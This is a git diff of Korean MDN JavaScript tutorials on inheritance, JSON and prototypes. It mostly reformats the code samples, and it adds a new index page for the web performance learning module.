-  alert('Hi! I\'m ' + this.name.first + '.');
+Person.prototype.greeting = function () {
+  alert("Hi! I'm " + this.name.first + ".");
 };
 ```
 
@@ -91,7 +91,7 @@ Teacher()의 생성자는 `Person()`을 상속받았으므로 같은 매개변
 function Teacher(first, last, age, gender, interests, subject) {
   this.name = {
     first,
-    last
+    last,
   };
   this.age = age;
   this.gender = gender;
@@ -120,7 +120,7 @@ function BlueGlassBrick() {
   Brick.call(this);
 
   this.opacity = 0.5;
-  this.color = 'blue';
+  this.color = "blue";
 }
 ```
 
@@ -132,18 +132,18 @@ function BlueGlassBrick() {
 
 1. 기존 코드에 아래 코드를 추가하세요:
 
-    ```js
-    Teacher.prototype = Object.create(Person.prototype);
-    ```
+   ```js
+   Teacher.prototype = Object.create(Person.prototype);
+   ```
 
-    구원 투수 [`create()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/create)의 등판입니다. 새 객체를 생성하여 `Teacher.prototype`으로 할당했죠. 새 객체는 `Person.prototype` 객체를 자신의 프로토타입으로 가지고 있으므로 `Person.prototype`에 정의된 모든 메소드를 사용할 수 있습니다.
+   구원 투수 [`create()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/create)의 등판입니다. 새 객체를 생성하여 `Teacher.prototype`으로 할당했죠. 새 객체는 `Person.prototype` 객체를 자신의 프로토타입으로 가지고 있으므로 `Person.prototype`에 정의된 모든 메소드를 사용할 수 있습니다.
 
 2. 넘어가기 전에 한가지 더 해야 합니다. 마지막 줄을 추가하고 나면 `Teacher.prototype`의 `constructor` 속성이 Person()으로 되어 있습니다. `Teacher.prototype`에 `Person.prototype`을 상속받은 객체를 할당했기 때문이죠. 코드를 저장한 뒤 브라우저로 불러와서 Teacher.prototype.constructor 구문의 반환 값을 확인해 보세요.
 3. 문제의 소지가 있으므로 고쳐야 됩니다. 소스에 아래 코드를 추가하세요:
 
-    ```js
-    Teacher.prototype.constructor = Teacher;
-    ```
+   ```js
+   Teacher.prototype.constructor = Teacher;
+   ```
 
 4. 저장하고 다시 브라우저에서 불러오면 의도한대로 `Teacher.prototype.constructor`가 `Teacher()`를 반환합니다. 게다가 `Person()`도 상속받았죠!
 
@@ -154,18 +154,36 @@ function BlueGlassBrick() {
 가장 간단한 방법은 Teacher()의 프로토타입에 정의합니다. — 아래 코드를 추가하세요:
 
 ```js
-Teacher.prototype.greeting = function() {
+Teacher.prototype.greeting = function () {
   var prefix;
 
-  if (this.gender === 'male' || this.gender === 'Male' || this.gender === 'm' || this.gender === 'M') {
-    prefix = 'Mr.';
-  } else if (this.gender === 'female' || this.gender === 'Female' || this.gender === 'f' || this.gender === 'F') {
-    prefix = 'Mrs.';
+  if (
+    this.gender === "male" ||
+    this.gender === "Male" ||
+    this.gender === "m" ||
+    this.gender === "M"
+  ) {
+    prefix = "Mr.";
+  } else if (
+    this.gender === "female" ||
+    this.gender === "Female" ||
+    this.gender === "f" ||
+    this.gender === "F"
+  ) {
+    prefix = "Mrs.";
   } else {
-    prefix = 'Mx.';
+    prefix = "Mx.";
   }
 
-  alert('Hello. My name is ' + prefix + ' ' + this.name.last + ', and I teach ' + this.subject + '.');
+  alert(
+    "Hello. My name is " +
+      prefix +
+      " " +
+      this.name.last +
+      ", and I teach " +
+      this.subject +
+      ".",
+  );
 };
 ```
 
@@ -176,7 +194,14 @@ Teacher.prototype.greeting = function() {
 소스를 환성했으니 아래 코드를 통해 새 `Teacher()` 인스턴스를 생성해 봅시다(아니면 인자를 원하는 값으로 변경하시거나요):
 
 ```js
-var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');
+var teacher1 = new Teacher(
+  "Dave",
+  "Griffiths",
+  31,
+  "male",
+  ["football", "cookery"],
+  "mathematics",
+);
 ```
 
 저장한 코드를 다시 불러와서 아래처럼 `teacher1`의 속성과 메소드를 확인해 봅시다:
diff --git a/files/ko/learn/javascript/objects/json/index.md b/files/ko/learn/javascript/objects/json/index.md
index 2ecc114c8915d3..bf62b9fd0c97d7 100644
--- a/files/ko/learn/javascript/objects/json/index.md
+++ b/files/ko/learn/javascript/objects/json/index.md
@@ -62,11 +62,7 @@ JSON은 문자열 형태로 존재합니다 — 네트워크를 통해 전송할
       "name": "Molecule Man",
       "age": 29,
       "secretIdentity": "Dan Jukes",
-      "powers": [
-        "Radiation resistance",
-        "Turning tiny",
-        "Radiation blast"
-      ]
+      "powers": ["Radiation resistance", "Turning tiny", "Radiation blast"]
     },
     {
       "name": "Madame Uppercut",
@@ -97,14 +93,14 @@ JSON은 문자열 형태로 존재합니다 — 네트워크를 통해 전송할
 이 객체를 Javascript 프로그램에서 로드하고, 예를 들어 `superHeroes`라는 이름의 변수에 파싱하면 [JavaScript object basics](/ko/docs/Learn/JavaScript/Objects/Basics) 문서에서 보았던 것처럼 점/브라켓 표현법을 통해 객체 내 데이터에 접근할 수 있게 됩니다. 아래와 같이요:
 
 ```js
-superHeroes.homeTown
-superHeroes['active']
+superHeroes.homeTown;
+superHeroes["active"];
 ```
 
 하위 계층의 데이터에 접근하려면, 간단하게 프로퍼티 이름과 배열 인덱스의 체인을 통해 접근하면 됩니다. 예를 들어 superHeroes의 두 번째 member의 세 번째 power에 접근하려면 아래와 같이 하면 됩니다.
 
 ```js
-superHeroes['members'][1]['powers'][2]
+superHeroes["members"][1]["powers"][2];
 ```
 
 1. 우선 변수 이름은 — `superHeroes`입니다.
@@ -125,11 +121,7 @@ superHeroes['members'][1]['powers'][2]
     "name": "Molecule Man",
     "age": 29,
     "secretIdentity": "Dan Jukes",
-    "powers": [
-      "Radiation resistance",
-      "Turning tiny",
-      "Radiation blast"
-    ]
+    "powers": ["Radiation resistance", "Turning tiny", "Radiation blast"]
   },
   {
     "name": "Madame Uppercut",
@@ -163,18 +155,16 @@ superHeroes['members'][1]['powers'][2]
 우선 로컬 저장소에 [heroes.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html) 와 [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css) 파일을 복사해주세요. style.css 파일은 페이지에 적용할 간단한 CSS를 담고 있으며, heros.html 파일은 간단한 body HTML을 담고 있습니다.
 
 ```html
-<header>
-</header>
+<header></header>
 
-<section>
-</section>
+<section></section>
 ```
 
 자바스크립트 코드를 담기 위한{{HTMLElement("script")}} 요소를 추가해 주세요. 현재는 두 줄의 코드만 작성되어 있습니다. {{HTMLElement("header")}} 와 {{HTMLElement("section")}} 요소를 참조하여 변수에 담는 코드입니다. :
 
 ```js
-var header = document.querySelector('header');
-var section = document.querySelector('section');
+var header = document.querySelector("header");
+var section = document.querySelector("section");
 ```
 
 JSON 데이터를 다음 깃허브 링크에서 가져올수 있습니다. <https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json>.
@@ -189,43 +179,44 @@ JSON을 가져오기 위해서는, {{domxref("XMLHttpRequest")}} (때론 **XHR**
 
 1. 일단, 변수로 둘 JSON의 URL을 가져와야 합니다. 아래의 코드를 당신의 JavaScript 코드 내에 추가해 주세요.
 
-    ```js
-    var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';
-    ```
+   ```js
+   var requestURL =
+     "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
+   ```
 
 2. 요청을 만들기 위해, 우리는 `new` 키워드를 이용하여 `XMLHttpRequest` 생성자로부터 새로운 request 인스턴스를 생성해야 합니다. 아래의 코드를 추가해 주세요.
 
-    ```js
-    var request = new XMLHttpRequest();
-    ```
+   ```js
+   var request = new XMLHttpRequest();
+   ```
 
 3. 이제 [`open()`](/ko/docs/Web/API/XMLHttpRequest/open) 메소드를 사용해 새로운 요청을 만듭니다. 아래의 코드를 추가해 주세요.
 
-    ```js
-    request.open('GET', requestURL);
-    ```
+   ```js
+   request.open("GET", requestURL);
+   ```
 
-    이것은 최소 두 개의 매개변수를 가집니다. 다른 선택적 매개변수도 가능해요. 이건 단순 예제니깐 두 가지 필수 매개변수만 취할게요.
+   이것은 최소 두 개의 매개변수를 가집니다. 다른 선택적 매개변수도 가능해요. 이건 단순 예제니깐 두 가지 필수 매개변수만 취할게요.
 
-    - HTTP 메서드는 네트워크 요청을 만들 때 사용됩니다. 이 경우 [`GET`](/ko/docs/Web/HTTP/Methods/GET) 을 사용하는게 좋겠어요. 우린 그저 데이터를 가져오면 되니깐요.
-    - URL은 요청을 보낼 곳을 지정합니다. 우리가 저장해 둔 JSON 파일의 URL로 지정할게요.
+   - HTTP 메서드는 네트워크 요청을 만들 때 사용됩니다. 이 경우 [`GET`](/ko/docs/Web/HTTP/Methods/GET) 을 사용하는게 좋겠어요. 우린 그저 데이터를 가져오면 되니깐요.
+   - URL은 요청을 보낼 곳을 지정합니다. 우리가 저장해 둔 JSON 파일의 URL로 지정할게요.
 
 4. 다음으로, 아래의 두 줄을 추가해 주세요. [`responseType`](/ko/docs/Web/API/XMLHttpRequest/responseType) 을 JSON으로 설정했어요. XHR로 하여금 서버가 JSON 데이터를 반환할 것이며, 자바스크립트 객체로서 변환될 것이라는 걸 알게 하기 위해서죠. 이제 [`send()`](/ko/docs/Web/API/XMLHttpRequest/send) 메서드를 이용해 요청을 보냅시다.
 
-    ```js
-    request.responseType = 'json';
-    request.send();
-    ```
+   ```js
+   request.responseType = "json";
+   request.send();
+   ```
 
 5. 마지막 부분은 서버의 응답을 기다리고, 그것의 처리까지와 관련된 섹션입니다. 코드 아래에 다음의 코드를 추가해 주세요.
 
-    ```js
-    request.onload = function() {
-      var superHeroes = request.response;
-      populateHeader(superHeroes);
-      showHeroes(superHeroes);
-    }
-    ```
+   ```js
+   request.onload = function () {
+     var superHeroes = request.response;
+     populateHeader(superHeroes);
+     showHeroes(superHeroes);
+   };
+   ```
 
 우리는 요청에 대한 응답을 `superHeroes`라는 변수에 저장할 겁니다.([`response`](/ko/docs/Web/API/XMLHttpRequest/response) 프로퍼티로 가능) 이 변수는 이제 JSON 데이터에 기반한 자바스크립트 객체를 포함하게 됩니다! 두 개의 함수를 호출해 이 객체를 전달합시다. 하나는 <`header>` 를 적절한 데이터로 채울 것이고, 다른 하나는 팀의 각 히어로에 대한 정보 카드를 생성하여 `<section>`내에 집어넣을 겁니다.
 
@@ -237,12 +228,13 @@ JSON을 가져오기 위해서는, {{domxref("XMLHttpRequest")}} (때론 **XHR**
 
 ```js
 function populateHeader(jsonObj) {
-  var myH1 = document.createElement('h1');
-  myH1.textContent = jsonObj['squadName'];
+  var myH1 = document.createElement("h1");
+  myH1.textContent = jsonObj["squadName"];
   header.appendChild(myH1);
 
-  var myPara = document.createElement('p');
-  myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + ' // Formed: ' + jsonObj['formed'];
+  var myPara = document.createElement("p");
+  myPara.textContent =
+    "Hometown: " + jsonObj["homeTown"] + " // Formed: " + jsonObj["formed"];
   header.appendChild(myPara);
 }
 ```
@@ -255,24 +247,24 @@ function populateHeader(jsonObj) {
 
 ```js
 function showHeroes(jsonObj) {
-  var heroes = jsonObj['members'];
+  var heroes = jsonObj["members"];
 
   for (var i = 0; i < heroes.length; i++) {
-    var myArticle = document.createElement('article');
-    var myH2 = document.createElement('h2');
-    var myPara1 = document.createElement('p');
-    var myPara2 = document.createElement('p');
-    var myPara3 = document.createElement('p');
-    var myList = document.createElement('ul');
+    var myArticle = document.createElement("article");
+    var myH2 = document.createElement("h2");
+    var myPara1 = document.createElement("p");
+    var myPara2 = document.createElement("p");
+    var myPara3 = document.createElement("p");
+    var myList = document.createElement("ul");
 
     myH2.textContent = heroes[i].name;
-    myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity;
-    myPara2.textContent = 'Age: ' + heroes[i].age;
-    myPara3.textContent = 'Superpowers:';
+    myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity;
+    myPara2.textContent = "Age: " + heroes[i].age;
+    myPara3.textContent = "Superpowers:";
 
     var superPowers = heroes[i].powers;
     for (var j = 0; j < superPowers.length; j++) {
-      var listItem = document.createElement('li');
+      var listItem = document.createElement("li");
       listItem.textContent = superPowers[j];
       myList.appendChild(listItem);
     }
@@ -308,7 +300,7 @@ function showHeroes(jsonObj) {
 위의 예제는 자바스크립트 객체에 접근한다는 관점에서 단순한 편이었죠. 왜냐하면 자바스크립트 객체를 사용해 우리는 XHR 요청을 곧장 JSON 응답으로 변환했으니깐요.
 
 ```js
-request.responseType = 'json';
+request.responseType = "json";
 ```
 
 하지만 우리는 이따금 재수 없어요. 때때로 우리는 날것의 JSON 문자열을 받기도 하고, 그것을 우리 스스로가 객체로 변환시켜야 할 때도 생기거든요. 그리고 네트워크를 통해 자바스크립트 객체를 보내고 싶을 때도 우리는 전송 전에 그걸 JSON(문자열)로 변환시켜야 해요. 다행히도, 이 두가지 문제가 웹 개발에 있어서 매우 흔한 덕에 다음과 같은 두가지 방법을 포함한 JSON 내장 객체가 브라우저 내에서 이용 가능합니다.
@@ -319,25 +311,25 @@ request.responseType = 'json';
 당신은 예제인 [heroes-finished-json-parse.html](http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html)에서 첫번째 동작을 확인할 수 있습니다.(아래 코드 참고-[source code](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html)) — JSON 텍스트를 반환하기 위한 추가한 XHR와 JavaScript 객체로 전환하기 위해 사용된 `parse()`제외하면 이 코드는 이전에 우리가 빌드한 것과 완전히 같은 코드입니다. 다음은중요한 코드의 일부입니다.:
 
 ```js
-request.open('GET', requestURL);
-request.responseType = 'text'; // now we're getting a string!
+request.open("GET", requestURL);
+request.responseType = "text"; // now we're getting a string!
 request.send();
 
-request.onload = function() {
+request.onload = function () {
   var superHeroesText = request.response; // get the string from the response
   var superHeroes = JSON.parse(superHeroesText); // convert it to an object
   populateHeader(superHeroes);
   showHeroes(superHeroes);
-}
+};
 ```
 
 예상했겠지만, `stringify()` 는 반대의 방식으로 작용됩니다. 다음 나오는 코드 라인들을 당신의 브라우저 JavaScript 콘솔에 동작을 확인하면서 한 줄씩 입력해봅시다.:
 
 ```js
-var myJSON = { "name": "Chris", "age": "38" };
-myJSON
+var myJSON = { name: "Chris", age: "38" };
+myJSON;
 var myString = JSON.stringify(myJSON);
-myString
+myString;
 ```
 
 이 페이지에서는 우리는 JavaScript 객체를 생성하고 있으며 이 객체가 무엇을 포함하고 있는지 확인하고 `stringify()` —반환된 값을 새로운 변수에 저장합니다—를 사용해서 JSON 문자열로 변환시켰습니다. 다시 한 번 더 확인해 봅시다.
diff --git a/files/ko/learn/javascript/objects/object_prototypes/index.md b/files/ko/learn/javascript/objects/object_prototypes/index.md
index b17edab53da6d4..5f625cd320593d 100644
--- a/files/ko/learn/javascript/objects/object_prototypes/index.md
+++ b/files/ko/learn/javascript/objects/object_prototypes/index.md
@@ -52,18 +52,17 @@ JavaScript에서는 객체 인스턴스와 프로토타입 간에 연결(많은
 
 ```js
 function Person(first, last, age, gender, interests) {
-
   // 속성과 메소드 정의
   this.first = first;
   this.last = last;
-//...
+  //...
 }
 ```
 
 그리고 인스턴스도 하나 만들었구요:
 
 ```js
-var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);
+var person1 = new Person("Bob", "Smith", 32, "male", ["music", "skiing"]);
 ```
 
 Javascript 콘솔에서 "person1."을 치게 되면 브라우저는 아래처럼 해당 객체의 멤버 이름을 자동 완성 팝업으로 보여줄 것입니다:
@@ -78,7 +77,7 @@ Javascript 콘솔에서 "person1."을 치게 되면 브라우저는 아래처럼
 아래 처럼 말이죠:
 
 ```js
-person1.valueOf()
+person1.valueOf();
 ```
 
 이 메소드는 호출된 객체의 값을 단순 반환합니다. — 직접 실행해 보세요! 이때 일어나는 일은 아래와 같습니다:
@@ -107,22 +106,22 @@ So [`Object.prototype.watch()`](/ko/docs/Web/JavaScript/Reference/Global_Objects
 
 1. prototype 속성을 직접 확인해 볼 수 있습니다. — 예제로 돌아가서 Javascript console에 아래 코드를 타이핑 해 보세요:
 
-    ```js
-    Person.prototype
-    ```
+   ```js
+   Person.prototype;
+   ```
 
 2. 출력되는 것이 별로 많지 않을 겁니다 — 아직 이 커스텀 생성자 프로토타입에 아무것도 정의하지 않았거든요! 기본적으로 생성자의 프로토타입은 비어있습니다. 이번에는 아래 코드를 실행해 봅시다:
 
-    ```js
-    Object.prototype
-    ```
+   ```js
+   Object.prototype;
+   ```
 
 위의 예제에서 확인했듯이 `Object`를 상속받은 객체에서 사용 가능한 수 많은 메소드들이 `Object`의 `prototype` 속성에 정의되어 있음을 알 수 있습니다.
 
 Javascript 전반에 걸쳐 프로토타입 체인 상속이 어떻게 구성되어 있는지 확인할 수 있습니다 — 전역 객체인 [`String`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String), [`Date`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Date), [`Number`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Number), [`Array`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array)의 프로토타입에 정의된 메소드와 속성들을 체크해 보세요. 이 프로토타입 객체들에는 이미 많은 수의 메소드가 정의되어 있으며 이는 아래처럼 문자열 객체를 생성 했을 때:
 
 ```js
-var myString = 'This is my string.';
+var myString = "This is my string.";
 ```
 
 `myString` 인스턴스가 생성되는 즉시 [`split()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/split), [`indexOf()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf), [`replace()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/replace)등의 문자열을 위한 유용한 메소드들을 사용할 수 있는 이유입니다.
@@ -135,15 +134,15 @@ var myString = 'This is my string.';
 
 1. 예를 들어서 이전 예제에서 아래 코드를 Javascript console에서 실행했었다면:
 
-    ```js
-    var person2 = Object.create(person1);
-    ```
+   ```js
+   var person2 = Object.create(person1);
+   ```
 
 2. `create()` 메소드가 실제로 하는 일은 주어진 객체를 프로토타입 객체로 삼아 새로운 객체를 생성합니다. 여기서 person2는 person1을 프로토타입 객체로 삼습니다. 아래 코드를 실행하여 이를 확인할 수 있습니다:
 
-    ```js
-    person2.__proto__
-    ```
+   ```js
+   person2.__proto__;
+   ```
 
 콘솔 상에는 person1이 출력됩니다.
 
@@ -153,41 +152,44 @@ var myString = 'This is my string.';
 
 1. 예를 들어 아래 코드를 콘솔에서 실행해 보세요:
 
-    ```js
-    person1.constructor
-    person2.constructor
-    ```
+   ```js
+   person1.constructor;
+   person2.constructor;
+   ```
 
-    두 구문 모두 `Person()` 생성자 함수를 반환할 것입니다.
+   두 구문 모두 `Person()` 생성자 함수를 반환할 것입니다.
 
-    `constructor` 속성에 괄호를 붙이고 실행하여(인자가 필요하면 전달하구요) 새 인스턴스를 생성하는 트릭이 있습니다. 어쨌든 생성자도 함수의 일종이므로 괄호를 붙이면 실행할 수 있습니다; new 키워드를 통해 실행하면 함수를 인스턴스를 생성하기 위한 생성자로 사용할 수 있죠.
+   `constructor` 속성에 괄호를 붙이고 실행하여(인자가 필요하면 전달하구요) 새 인스턴스를 생성하는 트릭이 있습니다. 어쨌든 생성자도 함수의 일종이므로 괄호를 붙이면 실행할 수 있습니다; new 키워드를 통해 실행하면 함수를 인스턴스를 생성하기 위한 생성자로 사용할 수 있죠.
 
 2. 아래 코드를 실행해 보세요:
 
-    ```js
-    var person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);
-    ```
+   ```js
+   var person3 = new person1.constructor("Karen", "Stephenson", 26, "female", [
+     "playing drums",
+     "mountain climbing",
+   ]);
+   ```
 
 3. 새로 생성된 객체를 테스트 해보세요, 아래처럼요:
 
-    ```js
-    person3.name.first
-    person3.age
-    person3.bio()
-    ```
+   ```js
+   person3.name.first;
+   person3.age;
+   person3.bio();
+   ```
 
 잘 동작함을 알 수 있습니다. 이런 방식을 자주 사용할 필요는 없지만 실행 도중 명시적인 생성자 함수를 예측할 수 없는 상황에서 인스턴스를 생성해야 하거나 하는 경우 유용하게 사용할 수 있는 방법입니다.
 
 [`constructor`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor) 속성은 여러 사용법이 있습니다. 예를 들어 인스턴스의 생성자 이름이 필요한 경우 아래의 코드로 알아낼 수 있습니다:
 
 ```js
-instanceName.constructor.name
+instanceName.constructor.name;
 ```
 
 아래 코드도 시험해 보세요:
 
 ```js
-person1.constructor.name
+person1.constructor.name;
 ```
 
 > **참고:** `constructor.name` 는 변경이 가능하므로(상속이나 바인딩, 전처리, 트랜스파일러 등에 의해) 복잡한 로직에 적용하기 위해서는 [`instanceof`](/ko/docs/Web/JavaScript/Reference/Operators/instanceof) 연산자를 사용하세요.
@@ -198,17 +200,17 @@ person1.constructor.name
 
 1. [oojs-class-further-exercises.html](http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html) 예제로 돌아가서 [source code](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html)를 다운 받으세요. 기존 코드에 아래 샘플 코드를 추가하여 `prototype` 속성에 새 메소드를 추가하세요:
 
-    ```js
-    Person.prototype.farewell = function() {
-      alert(this.name.first + ' has left the building. Bye for now!');
-    };
-    ```
+   ```js
+   Person.prototype.farewell = function () {
+     alert(this.name.first + " has left the building. Bye for now!");
+   };
+   ```
 
 2. 저장한 코드를 브라우저로 실행하고 콘솔에서 아래 코드를 실행해 보세요.
 
-    ```js
-    person1.farewell();
-    ```
+   ```js
+   person1.farewell();
+   ```
 
 생성자에서 지정했던 person의 name이 alert 창으로 출력되는 것을 확인할 수 있습니다. 매우 유용한 기능이지만 중요한 점은 prototype에 새 메소드를 추가하는 순간 동일한 생성자로 생성된 모든 객체에서 추가된 메소드를 바로 사용할 수 있다는 점입니다.
 
@@ -216,15 +218,17 @@ person1.constructor.name
 
 ```js
 function Person(first, last, age, gender, interests) {
-
   // 속성과 메소드 정의
-
 }
 
-var person1 = new Person('Tammi', 'Smith', 32, 'neutral', ['music', 'skiing', 'kickboxing']);
+var person1 = new Person("Tammi", "Smith", 32, "neutral", [
+  "music",
+  "skiing",
+  "kickboxing",
+]);
 
-Person.prototype.farewell = function() {
-  alert(this.name.first + ' has left the building. Bye for now!');
+Person.prototype.farewell = function () {
+  alert(this.name.first + " has left the building. Bye for now!");
 };
 ```
 
@@ -235,13 +239,13 @@ Person.prototype.farewell = function() {
 prototype에 속성을 정의하는 경우는 별로 본 적이 없을겁니다. 왜냐면 별로 좋은 방법이 아니거든요. 속성을 추가할 때 아래와 같이 할 수 있습니다:
 
 ```js
-Person.prototype.fullName = 'Bob Smith';
+Person.prototype.fullName = "Bob Smith";
 ```
 
 사람들이 항상 밥 스미스로 부르지 않을 수 있으니 별로 좋은 방법 같지는 않아 보입니다. `fullname`을 `name.first`와 `name.last`로 나누어 보죠:
 
 ```js
-Person.prototype.fullName = this.name.first + ' ' + this.name.last;
+Person.prototype.fullName = this.name.first + " " + this.name.last;
 ```
 
 이 경우 `this`는 함수 범위가 아닌 전역 범위를 가리키므로 코드가 의도대로 동작하지 않습니다. 이대로 실행해도 `undefined undefined`만 볼 수 있죠. 윗 절에서 프로토타입에 정의한 메소드 내에서는 정상적으로 동작하는데 이는 코드가 함수 범위 내에 있으며 객체의 멤버 함수로써 동작하기에 객체 범위로 전환되었기 때문입니다. 따라서 프로토타입에 상수(한 번 할당하면 변하지 않는 값)를 정의하는 것은 가능하지만 일반적으로 생성자에서 정의하는 것이 낫습니다.
diff --git a/files/ko/learn/javascript/objects/test_your_skills_colon__json/index.md b/files/ko/learn/javascript/objects/test_your_skills_colon__json/index.md
index e8c15dcc3ec54a..bc6b2352b50fe9 100644
--- a/files/ko/learn/javascript/objects/test_your_skills_colon__json/index.md
+++ b/files/ko/learn/javascript/objects/test_your_skills_colon__json/index.md
@@ -1,8 +1,9 @@
 ---
-title: '얼마나 이해했는지 확인해보자: JSON'
+title: "얼마나 이해했는지 확인해보자: JSON"
 slug: Learn/JavaScript/Objects/Test_your_skills:_JSON
 original_slug: Learn/JavaScript/Objects/얼마나_이해했는지_확인해보자:_JSON
 ---
+
 {{learnsidebar}}
 
 이 테스트의 목표는 [JSON으로 작업하기](/ko/docs/Learn/JavaScript/Objects/JSON)를 잘 이해했는지 평가해보는 것입니다.
@@ -41,7 +42,7 @@ original_slug: Learn/JavaScript/Objects/얼마나_이해했는지_확인해보
 
 1. [MDN 학습 토론 카테고리](https://discourse.mozilla.org/c/mdn/learn/250)에 평가 또는 도움을 요청하는 글을 작성하세요. 글에는 다음 사항이 포함되어야 합니다 :
 
-    - "Assessment wanted for JSON skill test (JSON 기술 테스트에 대한 평가를 요청드립니다)" 와 같은 제목을 사용하세요.
-    - 이미 시도해보았거나, 원하는 것(예를 들어, 막혀서 도움이 필요하다거나 평가가 필요하다는 것과 같은)에 대한 세부사항을 기입해주세요.
-    - 작성한 코드를 삽입하세요.
-    - 실제 작업 또는 평가 페이지에 대한 링크를 삽입하세요. 그래야 도움받고자 하는 질문을 확인할 수 있습니다.
+   - "Assessment wanted for JSON skill test (JSON 기술 테스트에 대한 평가를 요청드립니다)" 와 같은 제목을 사용하세요.
+   - 이미 시도해보았거나, 원하는 것(예를 들어, 막혀서 도움이 필요하다거나 평가가 필요하다는 것과 같은)에 대한 세부사항을 기입해주세요.
+   - 작성한 코드를 삽입하세요.
+   - 실제 작업 또는 평가 페이지에 대한 링크를 삽입하세요. 그래야 도움받고자 하는 질문을 확인할 수 있습니다.
diff --git a/files/ko/learn/performance/index.md b/files/ko/learn/performance/index.md
new file mode 100644
index 00000000000000..70d600c00bbfa2
--- /dev/null
+++ b/files/ko/learn/performance/index.md
@@ -0,0 +1,62 @@
+---
+title: 웹 성능
+slug: Learn/Performance
+l10n:
+  sourceCommit: 4def230f85756724b59660e3cd9de363db724ef8
+---
+
+{{LearnSidebar}}
+
+웹사이트를 만들기 위해선 HTML과 CSS, JavaScript가 필요합니다. 사람들이 쓰고 싶은 웹사이트와 어플리케이션을 만들려면 사용자들을 끌어모으고 유지할 수 있어야 하며, 그러려면 좋은 사용자 경험을 주어야 합니다. 콘텐츠가 빠르게 로드되고 사용자와의 상호작용에 잘 반응하는 것은 좋은 사용자 경험의 일부입니다. 이를 **웹 성능**이라고 하며, 이 모듈에서는 어떻게 성능이 좋은 웹사이트를 만들 수 있는지에 대해 기초적인 부분들을 집중적으로 다룹니다.
+
+이 초보자 교육 자료의 나머지 부분은 웹 성능과 [접근성](/ko/docs/Learn/Accessibility)과 같은 모범 사례를 가능한 한 많이 다루려 했지만, 해당 주제들에 확실히 익숙해지고 싶다면 별도로 탐색해보는 것이 좋을 것입니다.
+
+## 학습 경로
+
+웹 성능을 높일 수 있는 권장사항들을 구현하려면 HTML과 CSS, JavaScript를 알아야 하지만, 어플리케이션을 만드는 방법을 알아야만 웹 성능을 이해하고 측정할 수 있는 것은 아닙니다. 그렇지만 본 과정을 진행하기 전, 최소한 [웹 개발 시작하기](/ko/docs/Learn/Getting_started_with_the_web) 과정에서 웹 개발의 기본 개념을 익히는 것을 추천합니다.
+
+다음의 과정들에서 다루는 주제를 조금 더 깊게 살펴보는 것도 도움이 될 것입니다.
+
+- [HTML 소개](/ko/docs/Learn/HTML/Introduction_to_HTML)
+- [CSS 첫걸음](/ko/docs/Learn/CSS/First_steps)
+- [JavaScript 첫걸음](/ko/docs/Learn/JavaScript/First_steps)
+
+위의 과정들을 진행했다면 웹 성능에 대해 더 깊게 알고 싶어질 것입니다. [MDN 웹 성능 구획](/ko/docs/Web/Performance)에서 웹 성능 API, 테스트 및 분석 도구, 병목 현상 잡아내기 등 더 많은 것을 배울 수 있습니다.
+
+## 안내서들
+
+본 주제에 속한 안내서들은 다음과 같습니다. 순서대로 진행하는 것을 권장합니다. 바로 첫 번째부터 시작하면 됩니다.
+
+- ["어째서" 웹 성능인가](/ko/docs/Learn/Performance/why_web_performance)
+  - : 접근성, 사용자 경험, 비즈니스 목표 달성 측면에서 웹 접근성이 왜 중요한지 다룹니다.
+- [웹 성능이란 무엇인가?](/ko/docs/Learn/Performance/What_is_web_performance)
+  - : 웹 성능이 중요하다는 것은 누구나 압니다. 그렇다면 웹 성능이란 구체적으로 무엇일까요? 이 문서에서는 웹페이지의 로딩과 렌더링에서부터 웹 성능을 검토할 때 어떤 집단의 사람들을 고려해야 하는지까지 웹 성능의 요소들을 소개합니다. 이는 콘텐츠가 사용자의 브라우저에 보여지는 과정을 포함합니다.
+- [사용자들은 어떻게 웹 성능을 인지하는가?](/ko/docs/Learn/Performance/Perceived_performance)
+  - : 웹사이트가 밀리초 단위로 얼마나 빠른지보다 중요한 것은 사용자들이 웹사이트를 어느 정도로 빠르다고 느끼는지입니다. 사용자들의 인지는 웹페이지의 실제 로드 시간, 지연 시간, 사용자의 상호작용에 대한 반응성, 스크롤이나 다른 애니메이션의 부드러움 등에 영향을 받습니다. 이 문서에서는 로딩과 애니메이션, 반응성을 나타내는 다양한 지표들과 실제 타이밍을 제외하더라도 사용자의 인지 작용을 개선할 수 있는 모범 사례들을 논합니다.
+- [웹 성능 측정하기](/ko/docs/Learn/Performance/Measuring_performance)
+  - : 이제 당신은 몇 가지의 웹 성능 지표를 이해하게 되었습니다. 웹 성능 도구와 지표, API, 웹 성능을 웹 개발과정의 일부로 편입시킬 수 있는 방법에 대해 더 깊게 살펴봅니다.
+- [멀티미디어: 이미지](/ko/docs/Learn/Performance/Multimedia)
